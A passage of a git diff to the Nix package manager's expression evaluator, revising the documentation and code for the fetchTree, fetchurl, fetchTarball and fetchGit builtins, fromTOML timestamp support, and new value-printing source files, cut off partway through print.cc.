+ By default, this has no effect. This becomes relevant only once `shallow` cloning is disabled. + + Whether to fetch all references (eg. branches and tags) of the repository. + With this argument being true, it's possible to load a `rev` from *any* `ref`. + (Without setting this option, only `rev`s from the specified `ref` are supported). + + Default: `false` + + - `lastModified` (Integer, optional) + + Unix timestamp of the fetched commit. + + If set, pass through the value to the output attribute set. + Otherwise, generated from the fetched Git tree. + + - `revCount` (Integer, optional) + + Number of revisions in the history of the Git repository before the fetched commit. + + If set, pass through the value to the output attribute set. + Otherwise, generated from the fetched Git tree. + + The following input types are still subject to change: + + - `"path"` + - `"github"` + - `"gitlab"` + - `"sourcehut"` + - `"mercurial"` + + *input* can also be a [URL-like reference](@docroot@/command-ref/new-cli/nix3-flake.md#flake-references). + The additional input types and the URL-like syntax requires the [`flakes` experimental feature](@docroot@/development/experimental-features.md#xp-feature-flakes) to be enabled. + + > **Example** + > + > Fetch a GitHub repository using the attribute set representation: + > + > ```nix + > builtins.fetchTree { + > type = "github"; + > owner = "NixOS"; + > repo = "nixpkgs"; + > rev = "ae2e6b3958682513d28f7d633734571fb18285dd"; + > } + > ``` + > + > This evaluates to the following attribute set: + > + > ```nix + > { + > lastModified = 1686503798; + > lastModifiedDate = "20230611171638"; + > narHash = "sha256-rA9RqKP9OlBrgGCPvfd5HVAXDOy8k2SmPtB/ijShNXc="; + > outPath = "/nix/store/l5m6qlvfs9sdw14ja3qbzpglcjlb6j1x-source"; + > rev = "ae2e6b3958682513d28f7d633734571fb18285dd"; + > shortRev = "ae2e6b3"; + > } + > ``` + + > **Example** + > + > Fetch the same GitHub repository using the URL-like syntax: + > + > ```nix + > builtins.fetchTree "github:NixOS/nixpkgs/ae2e6b3958682513d28f7d633734571fb18285dd" + > ``` + )", + .fun = prim_fetchTree, + .experimentalFeature = Xp::FetchTree, +}); static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v, const std::string & who, bool unpack, std::string name) @@ -193,47 +437,65 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v state.forceValue(*args[0], pos); - if (args[0]->type() == nAttrs) { + bool isArgAttrs = args[0]->type() == nAttrs; + bool nameAttrPassed = false; - state.forceAttrs(*args[0], pos); + if (isArgAttrs) { - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { std::string_view n(state.symbols[attr.name]); if (n == "url") - url = state.forceStringNoCtx(*attr.value, attr.pos); + url = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the url we should fetch"); else if (n == "sha256") - expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos), htSHA256); - else if (n == "name") - name = state.forceStringNoCtx(*attr.value, attr.pos); + expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the sha256 of the content we should fetch"), HashAlgorithm::SHA256); + else if (n == "name") { + nameAttrPassed = true; + name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the name of the content we should fetch"); + } else - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("unsupported argument '%s' to '%s'", n, who), - .errPos = state.positions[attr.pos] - })); + state.error("unsupported argument '%s' to '%s'", n, who) + .atPos(pos).debugThrow(); } if (!url) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("'url' argument required"), - .errPos = state.positions[pos] - })); + state.error( + "'url' argument required").atPos(pos).debugThrow(); } else - url = state.forceStringNoCtx(*args[0], pos); + url = state.forceStringNoCtx(*args[0], pos, "while evaluating the url we should fetch"); + + if (who == "fetchTarball") + url = state.settings.resolvePseudoUrl(*url); state.checkURI(*url); if (name == "") name = baseNameOf(*url); - if (evalSettings.pureEval && !expectedHash) - state.debugThrowLastTrace(EvalError("in pure evaluation mode, '%s' requires a 'sha256' argument", who)); + try { + checkName(name); + } catch (BadStorePathName & e) { + auto resolution = + nameAttrPassed ? HintFmt("Please change the value for the 'name' attribute passed to '%s', so that it can create a valid store path.", who) : + isArgAttrs ? HintFmt("Please add a valid 'name' attribute to the argument for '%s', so that it can create a valid store path.", who) : + HintFmt("Please pass an attribute set with 'url' and 'name' attributes to '%s', so that it can create a valid store path.", who); + + state.error( + std::string("invalid store path name when fetching URL '%s': %s. %s"), *url, Uncolored(e.message()), Uncolored(resolution.str())) + .atPos(pos).debugThrow(); + } + + if (state.settings.pureEval && !expectedHash) + state.error("in pure evaluation mode, '%s' requires a 'sha256' argument", who).atPos(pos).debugThrow(); // early exit if pinned and already in the store - if (expectedHash && expectedHash->type == htSHA256) { - auto expectedPath = - unpack - ? state.store->makeFixedOutputPath(FileIngestionMethod::Recursive, *expectedHash, name, {}) - : state.store->makeFixedOutputPath(FileIngestionMethod::Flat, *expectedHash, name, {}); + if (expectedHash && expectedHash->algo == HashAlgorithm::SHA256) { + auto expectedPath = state.store->makeFixedOutputPath( + name, + FixedOutputInfo { + .method = unpack ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat, + .hash = *expectedHash, + .references = {} + }); if (state.store->isValidPath(expectedPath)) { state.allowAndSetStorePathString(expectedPath, v); @@ -245,16 +507,26 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v // https://github.com/NixOS/nix/issues/4313 auto storePath = unpack - ? fetchers::downloadTarball(state.store, *url, name, (bool) expectedHash).first.storePath - : fetchers::downloadFile(state.store, *url, name, (bool) expectedHash).storePath; + ? fetchToStore( + *state.store, + fetchers::downloadTarball(state.store, state.fetchSettings, *url), + FetchMode::Copy, + name) + : fetchers::downloadFile(state.store, *url, name).storePath; if (expectedHash) { auto hash = unpack ? state.store->queryPathInfo(storePath)->narHash - : hashFile(htSHA256, state.store->toRealPath(storePath)); - if (hash != *expectedHash) - state.debugThrowLastTrace(EvalError((unsigned int) 102, "hash mismatch in file downloaded from '%s':\n specified: %s\n got: %s", - *url, expectedHash->to_string(Base32, true), hash.to_string(Base32, true))); + : hashFile(HashAlgorithm::SHA256, state.store->toRealPath(storePath)); + if (hash != *expectedHash) { + state.error( + "hash mismatch in file downloaded from '%s':\n specified: %s\n got: %s", + *url, + expectedHash->to_string(HashFormat::Nix32, true), + hash.to_string(HashFormat::Nix32, true) + ).withExitStatus(102) + .debugThrow(); + } } state.allowAndSetStorePathString(storePath, v); @@ -267,11 +539,21 @@ static void prim_fetchurl(EvalState & state, const PosIdx pos, Value * * args, V static RegisterPrimOp primop_fetchurl({ .name = "__fetchurl", - .args = {"url"}, + .args = {"arg"}, .doc = R"( - Download the specified URL and return the path of the downloaded - file. This function is not available if [restricted evaluation - mode](../command-ref/conf-file.md) is enabled. + Download the specified URL and return the path of the downloaded file. + `arg` can be either a string denoting the URL, or an attribute set with the following attributes: + + - `url` + + The URL of the file to download. + + - `name` (default: the last path component of the URL) + + A name for the file in the store. This can be useful if the URL has any + characters that are invalid for the store. + + Not available in [restricted evaluation mode](@docroot@/command-ref/conf-file.md#conf-restrict-eval). )", .fun = prim_fetchurl, }); @@ -287,11 +569,11 @@ static RegisterPrimOp primop_fetchTarball({ .doc = R"( Download the specified URL, unpack it and return the path of the unpacked tree. The file must be a tape archive (`.tar`) compressed - with `gzip`, `bzip2` or `xz`. The top-level path component of the - files in the tarball is removed, so it is best if the tarball - contains a single directory at top level. The typical use of the - function is to obtain external Nix expression dependencies, such as - a particular version of Nixpkgs, e.g. + with `gzip`, `bzip2` or `xz`. If the tarball consists of a + single directory, then the top-level path component of the files + in the tarball is removed. The typical use of the function is to + obtain external Nix expression dependencies, such as a + particular version of Nixpkgs, e.g. ```nix with import (fetchTarball https://github.com/NixOS/nixpkgs/archive/nixos-14.12.tar.gz) {}; @@ -321,15 +603,19 @@ static RegisterPrimOp primop_fetchTarball({ stdenv.mkDerivation { … } ``` - This function is not available if [restricted evaluation - mode](../command-ref/conf-file.md) is enabled. + Not available in [restricted evaluation mode](@docroot@/command-ref/conf-file.md#conf-restrict-eval). )", .fun = prim_fetchTarball, }); static void prim_fetchGit(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - fetchTree(state, pos, args, v, "git", FetchTreeParams { .emptyRevFallback = true, .allowNameArgument = true }); + fetchTree(state, pos, args, v, + FetchTreeParams { + .emptyRevFallback = true, + .allowNameArgument = true, + .isFetchGit = true + }); } static RegisterPrimOp primop_fetchGit({ @@ -340,36 +626,93 @@ static RegisterPrimOp primop_fetchGit({ of the repo at that URL is fetched. Otherwise, it can be an attribute with the following attributes (all except `url` optional): - - url\ - The URL of the repo. + - `url` - - name\ - The name of the directory the repo should be exported to in the - store. Defaults to the basename of the URL. + The URL of the repo. - - rev\ - The git revision to fetch. Defaults to the tip of `ref`. + - `name` (default: `source`) - - ref\ - The git ref to look for the requested revision under. This is - often a branch or tag name. Defaults to `HEAD`. + The name of the directory the repo should be exported to in the store. - By default, the `ref` value is prefixed with `refs/heads/`. As - of Nix 2.3.0 Nix will not prefix `refs/heads/` if `ref` starts - with `refs/`. + - `rev` (default: *the tip of `ref`*) - - submodules\ - A Boolean parameter that specifies whether submodules should be - checked out. Defaults to `false`. + The [Git revision] to fetch. + This is typically a commit hash. - - shallow\ - A Boolean parameter that specifies whether fetching a shallow clone - is allowed. Defaults to `false`. + [Git revision]: https://git-scm.com/docs/git-rev-parse#_specifying_revisions + + - `ref` (default: `HEAD`) + + The [Git reference] under which to look for the requested revision. + This is often a branch or tag name. + + [Git reference]: https://git-scm.com/book/en/v2/Git-Internals-Git-References + + This option has no effect once `shallow` cloning is enabled. + + By default, the `ref` value is prefixed with `refs/heads/`. + As of 2.3.0, Nix will not prefix `refs/heads/` if `ref` starts with `refs/`. + + - `submodules` (default: `false`) + + A Boolean parameter that specifies whether submodules should be checked out. + + - `exportIgnore` (default: `true`) + + A Boolean parameter that specifies whether `export-ignore` from `.gitattributes` should be applied. + This approximates part of the `git archive` behavior. + + Enabling this option is not recommended because it is unknown whether the Git developers commit to the reproducibility of `export-ignore` in newer Git versions. + + - `shallow` (default: `false`) + + Make a shallow clone when fetching the Git tree. + When this is enabled, the options `ref` and `allRefs` have no effect anymore. + - `allRefs` + + Whether to fetch all references (eg. branches and tags) of the repository. + With this argument being true, it's possible to load a `rev` from *any* `ref`. + (by default only `rev`s from the specified `ref` are supported). + + This option has no effect once `shallow` cloning is enabled. + + - `verifyCommit` (default: `true` if `publicKey` or `publicKeys` are provided, otherwise `false`) + + Whether to check `rev` for a signature matching `publicKey` or `publicKeys`. + If `verifyCommit` is enabled, then `fetchGit` cannot use a local repository with uncommitted changes. + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). + + - `publicKey` + + The public key against which `rev` is verified if `verifyCommit` is enabled. + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). + + - `keytype` (default: `"ssh-ed25519"`) + + The key type of `publicKey`. + Possible values: + - `"ssh-dsa"` + - `"ssh-ecdsa"` + - `"ssh-ecdsa-sk"` + - `"ssh-ed25519"` + - `"ssh-ed25519-sk"` + - `"ssh-rsa"` + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). + + - `publicKeys` + + The public keys against which `rev` is verified if `verifyCommit` is enabled. + Must be given as a list of attribute sets with the following form: + + ```nix + { + key = ""; + type = ""; # optional, default: "ssh-ed25519" + } + ``` + + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). - - allRefs\ - Whether to fetch all refs of the repository. With this argument being - true, it's possible to load a `rev` from *any* `ref` (by default only - `rev`s from the specified `ref` are supported). Here are some examples of how to use `fetchGit`. @@ -445,14 +788,35 @@ static RegisterPrimOp primop_fetchGit({ } ``` - > **Note** - > - > Nix will refetch the branch in accordance with - > the option `tarball-ttl`. + - To verify the commit signature: - > **Note** - > - > This behavior is disabled in *Pure evaluation mode*. + ```nix + builtins.fetchGit { + url = "ssh://git@github.com/nixos/nix.git"; + verifyCommit = true; + publicKeys = [ + { + type = "ssh-ed25519"; + key = "AAAAC3NzaC1lZDI1NTE5AAAAIArPKULJOid8eS6XETwUjO48/HKBWl7FTCK0Z//fplDi"; + } + ]; + } + ``` + + Nix will refetch the branch according to the [`tarball-ttl`](@docroot@/command-ref/conf-file.md#conf-tarball-ttl) setting. + + This behavior is disabled in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval). + + - To fetch the content of a checked-out work directory: + + ```nix + builtins.fetchGit ./work-dir + ``` + + If the URL points to a local directory, and no `ref` or `rev` is + given, `fetchGit` will use the current content of the checked-out + files, even if they are not committed or added to Git's index. It will + only consider files added to the Git repository, as listed by `git ls-files`. )", .fun = prim_fetchGit, }); diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc index 9753e2ac9..b4f1df7a8 100644 --- a/src/libexpr/primops/fromTOML.cc +++ b/src/libexpr/primops/fromTOML.cc @@ -1,13 +1,15 @@ #include "primops.hh" #include "eval-inline.hh" -#include "../../toml11/toml.hpp" +#include + +#include namespace nix { static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, Value & val) { - auto toml = state.forceStringNoCtx(*args[0], pos); + auto toml = state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.fromTOML"); std::istringstream tomlStream(std::string{toml}); @@ -36,10 +38,10 @@ static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, V { auto array = toml::get>(t); - size_t size = array.size(); - state.mkList(v, size); - for (size_t i = 0; i < size; ++i) - visit(*(v.listElems()[i] = state.allocValue()), array[i]); + auto list = state.buildList(array.size()); + for (const auto & [n, v] : enumerate(list)) + visit(*(v = state.allocValue()), array[n]); + v.mkList(list); } break;; case toml::value_t::boolean: @@ -58,8 +60,18 @@ static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, V case toml::value_t::offset_datetime: case toml::value_t::local_date: case toml::value_t::local_time: - // We fail since Nix doesn't have date and time types - throw std::runtime_error("Dates and times are not supported"); + { + if (experimentalFeatureSettings.isEnabled(Xp::ParseTomlTimestamps)) { + auto attrs = state.buildBindings(2); + attrs.alloc("_type").mkString("timestamp"); + std::ostringstream s; + s << t; + attrs.alloc("value").mkString(s.str()); + v.mkAttrs(attrs); + } else { + throw std::runtime_error("Dates and times are not supported"); + } + } break;; case toml::value_t::empty: v.mkNull(); @@ -71,13 +83,28 @@ static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, V try { visit(val, toml::parse(tomlStream, "fromTOML" /* the "filename" */)); } catch (std::exception & e) { // TODO: toml::syntax_error - throw EvalError({ - .msg = hintfmt("while parsing a TOML string: %s", e.what()), - .errPos = state.positions[pos] - }); + state.error("while parsing TOML: %s", e.what()).atPos(pos).debugThrow(); } } -static RegisterPrimOp primop_fromTOML("fromTOML", 1, prim_fromTOML); +static RegisterPrimOp primop_fromTOML({ + .name = "fromTOML", + .args = {"e"}, + .doc = R"( + Convert a TOML string to a Nix value. For example, + + ```nix + builtins.fromTOML '' + x=1 + s="a" + [table] + y=2 + '' + ``` + + returns the value `{ s = "a"; table = { y = 2; }; x = 1; }`. + )", + .fun = prim_fromTOML +}); } diff --git a/src/libexpr/primops/meson.build b/src/libexpr/primops/meson.build new file mode 100644 index 000000000..f910fe237 --- /dev/null +++ b/src/libexpr/primops/meson.build @@ -0,0 +1,12 @@ +generated_headers += gen_header.process( + 'derivation.nix', + preserve_path_from: meson.project_source_root(), +) + +sources += files( + 'context.cc', + 'fetchClosure.cc', + 'fetchMercurial.cc', + 'fetchTree.cc', + 'fromTOML.cc', +) diff --git a/src/libexpr/print-ambiguous.cc b/src/libexpr/print-ambiguous.cc new file mode 100644 index 000000000..a40c98643 --- /dev/null +++ b/src/libexpr/print-ambiguous.cc @@ -0,0 +1,101 @@ +#include "print-ambiguous.hh" +#include "print.hh" +#include "signals.hh" +#include "eval.hh" + +namespace nix { + +// See: https://github.com/NixOS/nix/issues/9730 +void printAmbiguous( + Value &v, + const SymbolTable &symbols, + std::ostream &str, + std::set *seen, + int depth) +{ + checkInterrupt(); + + if (depth <= 0) { + str << "«too deep»"; + return; + } + switch (v.type()) { + case nInt: + str << v.integer(); + break; + case nBool: + printLiteralBool(str, v.boolean()); + break; + case nString: + printLiteralString(str, v.string_view()); + break; + case nPath: + str << v.path().to_string(); // !!! escaping? + break; + case nNull: + str << "null"; + break; + case nAttrs: { + if (seen && !v.attrs()->empty() && !seen->insert(v.attrs()).second) + str << "«repeated»"; + else { + str << "{ "; + for (auto & i : v.attrs()->lexicographicOrder(symbols)) { + str << symbols[i->name] << " = "; + printAmbiguous(*i->value, symbols, str, seen, depth - 1); + str << "; "; + } + str << "}"; + } + break; + } + case nList: + if (seen && v.listSize() && !seen->insert(v.listElems()).second) + str << "«repeated»"; + else { + str << "[ "; + for (auto v2 : v.listItems()) { + if (v2) + printAmbiguous(*v2, symbols, str, seen, depth - 1); + else + str << "(nullptr)"; + str << " "; + } + str << "]"; + } + break; + case nThunk: + if (!v.isBlackhole()) { + str << ""; + } else { + // Although we know for sure that it's going to be an infinite recursion + // when this value is accessed _in the current context_, it's likely + // that the user will misinterpret a simpler «infinite recursion» output + // as a definitive statement about the value, while in fact it may be + // a valid value after `builtins.trace` and perhaps some other steps + // have completed. + str << "«potential infinite recursion»"; + } + break; + case nFunction: + if (v.isLambda()) { + str << ""; + } else if (v.isPrimOp()) { + str << ""; + } else if (v.isPrimOpApp()) { + str << ""; + } + break; + case nExternal: + str << *v.external(); + break; + case nFloat: + str << v.fpoint(); + break; + default: + printError("Nix evaluator internal error: printAmbiguous: invalid value type"); + unreachable(); + } +} + +} diff --git a/src/libexpr/print-ambiguous.hh b/src/libexpr/print-ambiguous.hh new file mode 100644 index 000000000..50c260a9b --- /dev/null +++ b/src/libexpr/print-ambiguous.hh @@ -0,0 +1,24 @@ +#pragma once + +#include "value.hh" + +namespace nix { + +/** + * Print a value in the deprecated format used by `nix-instantiate --eval` and + * `nix-env` (for manifests). + * + * This output can't be changed because it's part of the `nix-instantiate` API, + * but it produces ambiguous output; unevaluated thunks and lambdas (and a few + * other types) are printed as Nix path syntax like ``. + * + * See: https://github.com/NixOS/nix/issues/9730 + */ +void printAmbiguous( + Value &v, + const SymbolTable &symbols, + std::ostream &str, + std::set *seen, + int depth); + +} diff --git a/src/libexpr/print-options.hh b/src/libexpr/print-options.hh new file mode 100644 index 000000000..080ba26b8 --- /dev/null +++ b/src/libexpr/print-options.hh @@ -0,0 +1,120 @@ +#pragma once +/** + * @file + * @brief Options for printing Nix values. + */ + +#include + +namespace nix { + +/** + * How errors should be handled when printing values. + */ +enum class ErrorPrintBehavior { + /** + * Print the first line of the error in brackets: `«error: oh no!»` + */ + Print, + /** + * Throw the error to the code that attempted to print the value, instead + * of suppressing it it. + */ + Throw, + /** + * Only throw the error if encountered at the top level of the expression. + * + * This will cause expressions like `builtins.throw "uh oh!"` to throw + * errors, but will print attribute sets and other nested structures + * containing values that error (like `nixpkgs`) normally. + */ + ThrowTopLevel, +}; + +/** + * Options for printing Nix values. + */ +struct PrintOptions +{ + /** + * If true, output ANSI color sequences. + */ + bool ansiColors = false; + + /** + * If true, force values. + */ + bool force = false; + + /** + * If true and `force` is set, print derivations as + * `«derivation /nix/store/...»` instead of as attribute sets. + */ + bool derivationPaths = false; + + /** + * If true, track which values have been printed and skip them on + * subsequent encounters. Useful for self-referential values. + */ + bool trackRepeated = true; + + /** + * Maximum depth to evaluate to. + */ + size_t maxDepth = std::numeric_limits::max(); + + /** + * Maximum number of attributes in attribute sets to print. + * + * Note that this is a limit for the entire print invocation, not for each + * attribute set encountered. + */ + size_t maxAttrs = std::numeric_limits::max(); + + /** + * Maximum number of list items to print. + * + * Note that this is a limit for the entire print invocation, not for each + * list encountered. + */ + size_t maxListItems = std::numeric_limits::max(); + + /** + * Maximum string length to print. + */ + size_t maxStringLength = std::numeric_limits::max(); + + /** + * Indentation width for pretty-printing. + * + * If set to 0 (the default), values are not pretty-printed. + */ + size_t prettyIndent = 0; + + /** + * How to handle errors encountered while printing values. + */ + ErrorPrintBehavior errors = ErrorPrintBehavior::Print; + + /** + * True if pretty-printing is enabled. + */ + inline bool shouldPrettyPrint() + { + return prettyIndent > 0; + } +}; + +/** + * `PrintOptions` for unknown and therefore potentially large values in error messages, + * to avoid printing "too much" output. + */ +static PrintOptions errorPrintOptions = PrintOptions { + .ansiColors = true, + .maxDepth = 10, + .maxAttrs = 10, + .maxListItems = 10, + .maxStringLength = 1024, +}; + +} diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc new file mode 100644 index 000000000..4d1a6868c --- /dev/null +++ b/src/libexpr/print.cc @@ -0,0 +1,643 @@ +#include +#include +#include + +#include "print.hh" +#include "ansicolor.hh" +#include "signals.hh" +#include "store-api.hh" +#include "terminal.hh" +#include "english.hh" +#include "eval.hh" + +namespace nix { + +void printElided( + std::ostream & output, + unsigned int value, + const std::string_view single, + const std::string_view plural, + bool ansiColors) +{ + if (ansiColors) + output << ANSI_FAINT; + output << "«"; + pluralize(output, value, single, plural); + output << " elided»"; + if (ansiColors) + output << ANSI_NORMAL; +} + + +std::ostream & +printLiteralString(std::ostream & str, const std::string_view string, size_t maxLength, bool ansiColors) +{ + size_t charsPrinted = 0; + if (ansiColors) + str << ANSI_MAGENTA; + str << "\""; + for (auto i = string.begin(); i != string.end(); ++i) { + if (charsPrinted >= maxLength) { + str << "\" "; + printElided(str, string.length() - charsPrinted, "byte", "bytes", ansiColors); + return str; + } + + if (*i == '\"' || *i == '\\') str << "\\" << *i; + else if (*i == '\n') str << "\\n"; + else if (*i == '\r') str << "\\r"; + else if (*i == '\t') str << "\\t"; + else if (*i == '$' && *(i+1) == '{') str << "\\" << *i; + else str << *i; + charsPrinted++; + } + str << "\""; + if (ansiColors) + str << ANSI_NORMAL; + return str; +} + +std::ostream & +printLiteralString(std::ostream & str, const std::string_view string) +{ + return printLiteralString(str, string, std::numeric_limits::max(), false); +} + +std::ostream & +printLiteralBool(std::ostream & str, bool boolean) +{ + str << (boolean ? "true" : "false"); + return str; +} + +// Returns `true' is a string is a reserved keyword which requires quotation +// when printing attribute set field names. +// +// This list should generally be kept in sync with `./lexer.l'. +// You can test if a keyword needs to be added by running: +// $ nix eval --expr '{ = 1; }' +// For example `or' doesn't need to be quoted. +bool isReservedKeyword(const std::string_view str) +{ + static const std::unordered_set reservedKeywords = { + "if", "then", "else", "assert", "with", "let", "in", "rec", "inherit" + }; + return reservedKeywords.contains(str); +} + +std::ostream & +printIdentifier(std::ostream & str, std::string_view s) { + if (s.empty()) + str << "\"\""; + else if (isReservedKeyword(s)) + str << '"' << s << '"'; + else { + char c = s[0]; + if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_')) { + printLiteralString(str, s); + return str; + } + for (auto c : s) + if (!((c >= 'a' && c <= 'z') || + (c >= 'A' && c <= 'Z') || + (c >= '0' && c <= '9') || + c == '_' || c == '\'' || c == '-')) { + printLiteralString(str, s); + return str; + } + str << s; + } + return str; +} + +static bool isVarName(std::string_view s) +{ + if (s.size() == 0) return false; + if (isReservedKeyword(s)) return false; + char c = s[0]; + if ((c >= '0' && c <= '9') || c == '-' || c == '\'') return false; + for (auto & i : s) + if (!((i >= 'a' && i <= 'z') || + (i >= 'A' && i <= 'Z') || + (i >= '0' && i <= '9') || + i == '_' || i == '-' || i == '\'')) + return false; + return true; +} + +std::ostream & +printAttributeName(std::ostream & str, std::string_view name) { + if (isVarName(name)) + str << name; + else + printLiteralString(str, name); + return str; +} + +bool isImportantAttrName(const std::string& attrName) +{ + return attrName == "type" || attrName == "_type"; +} + +typedef std::pair AttrPair; + +struct ImportantFirstAttrNameCmp +{ + + bool operator()(const AttrPair& lhs, const AttrPair& rhs) const + { + auto lhsIsImportant = isImportantAttrName(lhs.first); + auto rhsIsImportant = isImportantAttrName(rhs.first); + return std::forward_as_tuple(!lhsIsImportant, lhs.first) + < std::forward_as_tuple(!rhsIsImportant, rhs.first); + } +}; + +typedef std::set ValuesSeen; +typedef std::vector> AttrVec; + +class Printer +{ +private: + std::ostream & output; + EvalState & state; + PrintOptions options; + std::optional seen; + size_t totalAttrsPrinted = 0; + size_t totalListItemsPrinted = 0; + std::string indent; + + void increaseIndent() + { + if (options.shouldPrettyPrint()) { + indent.append(options.prettyIndent, ' '); + } + } + + void decreaseIndent() + { + if (options.shouldPrettyPrint()) { + assert(indent.size() >= options.prettyIndent); + indent.resize(indent.size() - options.prettyIndent); + } + } + + /** + * Print a space (for separating items or attributes). + * + * If pretty-printing is enabled, a newline and the current `indent` is + * printed instead. + */ + void printSpace(bool prettyPrint) + { + if (prettyPrint) { + output << "\n" << indent; + } else { + output << " "; + } + } + + void printRepeated() + { + if (options.ansiColors) + output << ANSI_MAGENTA; + output << "«repeated»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printNullptr() + { + if (options.ansiColors) + output << ANSI_MAGENTA; + output << "«nullptr»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printElided(unsigned int value, const std::string_view single, const std::string_view plural) + { + ::nix::printElided(output, value, single, plural, options.ansiColors); + } + + void printInt(Value & v) + { + if (options.ansiColors) + output << ANSI_CYAN; + output << v.integer(); + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printFloat(Value & v) + { + if (options.ansiColors) + output << ANSI_CYAN; + output << v.fpoint(); + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printBool(Value & v) + { + if (options.ansiColors) + output << ANSI_CYAN; + printLiteralBool(output, v.boolean()); + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printString(Value & v) + { + printLiteralString(output, v.string_view(), options.maxStringLength, options.ansiColors); + } + + void printPath(Value & v) + { + if (options.ansiColors) + output << ANSI_GREEN; + output << v.path().to_string(); // !!! escaping? + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printNull() + { + if (options.ansiColors) + output << ANSI_CYAN; + output << "null"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printDerivation(Value & v) + { + std::optional storePath; + if (auto i = v.attrs()->get(state.sDrvPath)) { + NixStringContext context; + storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation"); + } + + /* This unfortunately breaks printing nested values because of + how the pretty printer is used (when pretting printing and warning + to same terminal / std stream). */ +#if 0 + if (storePath && !storePath->isDerivation()) + warn( + "drvPath attribute '%s' is not a valid store path to a derivation, this value not work properly", + state.store->printStorePath(*storePath)); +#endif + + if (options.ansiColors) + output << ANSI_GREEN; + output << "«derivation"; + if (storePath) { + output << " " << state.store->printStorePath(*storePath); + } + output << "»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + /** + * @note This may force items. + */ + bool shouldPrettyPrintAttrs(AttrVec & v) + { + if (!options.shouldPrettyPrint() || v.empty()) { + return false; + } + + // Pretty-print attrsets with more than one item. + if (v.size() > 1) { + return true; + } + + auto item = v[0].second; + if (!item) { + return true; + } + + // It is ok to force the item(s) here, because they will be printed anyway. + state.forceValue(*item, item->determinePos(noPos)); + + // Pretty-print single-item attrsets only if they contain nested + // structures. + auto itemType = item->type(); + return itemType == nList || itemType == nAttrs || itemType == nThunk; + } + + void printAttrs(Value & v, size_t depth) + { + if (seen && !seen->insert(v.attrs()).second) { + printRepeated(); + return; + } + + if (options.force && options.derivationPaths && state.isDerivation(v)) { + printDerivation(v); + } else if (depth < options.maxDepth) { + increaseIndent(); + output << "{"; + + AttrVec sorted; + for (auto & i : *v.attrs()) + sorted.emplace_back(std::pair(state.symbols[i.name], i.value)); + + if (options.maxAttrs == std::numeric_limits::max()) + std::sort(sorted.begin(), sorted.end()); + else + std::sort(sorted.begin(), sorted.end(), ImportantFirstAttrNameCmp()); + + auto prettyPrint = shouldPrettyPrintAttrs(sorted); + + size_t currentAttrsPrinted = 0; + + for (auto & i : sorted) { + printSpace(prettyPrint); + + if (totalAttrsPrinted >= options.maxAttrs) { + printElided(sorted.size() - currentAttrsPrinted, "attribute", "attributes"); + break; + } + + printAttributeName(output, i.first); + output << " = "; + print(*i.second, depth + 1); + output << ";"; + totalAttrsPrinted++; + currentAttrsPrinted++; + } + + decreaseIndent(); + printSpace(prettyPrint); + output << "}"; + } else { + output << "{ ... }"; + } + } + + /** + * @note This may force items. + */ + bool shouldPrettyPrintList(std::span list) + { + if (!options.shouldPrettyPrint() || list.empty()) { + return false; + } + + // Pretty-print lists with more than one item. + if (list.size() > 1) { + return true; + } + + auto item = list[0]; + if (!item) { + return true; + } + + // It is ok to force the item(s) here, because they will be printed anyway. + state.forceValue(*item, item->determinePos(noPos)); + + // Pretty-print single-item lists only if they contain nested + // structures. + auto itemType = item->type(); + return itemType == nList || itemType == nAttrs || itemType == nThunk; + } + + void printList(Value & v, size_t depth) + { + if (seen && v.listSize() && !seen->insert(&v).second) { + printRepeated(); + return; + } + + if (depth < options.maxDepth) { + increaseIndent(); + output << "["; + auto listItems = v.listItems(); + auto prettyPrint = shouldPrettyPrintList(listItems); + + size_t currentListItemsPrinted = 0; + + for (auto elem : listItems) { + printSpace(prettyPrint); + + if (totalListItemsPrinted >= options.maxListItems) { + printElided(listItems.size() - currentListItemsPrinted, "item", "items"); + break; + } + + if (elem) { + print(*elem, depth + 1); + } else { + printNullptr(); + } + totalListItemsPrinted++; + currentListItemsPrinted++; + } + + decreaseIndent(); + printSpace(prettyPrint); + output << "]"; + } else { + output << "[ ... ]"; + } + } + + void printFunction(Value & v) + { + if (options.ansiColors) + output << ANSI_BLUE; + output << "«"; + + if (v.isLambda()) { + output << "lambda"; + if (v.payload.lambda.fun) { + if (v.payload.lambda.fun->name) { + output << " " << state.symbols[v.payload.lambda.fun->name]; + } + + std::ostringstream s; + s << state.positions[v.payload.lambda.fun->pos]; + output << " @ " << filterANSIEscapes(s.str()); + } + } else if 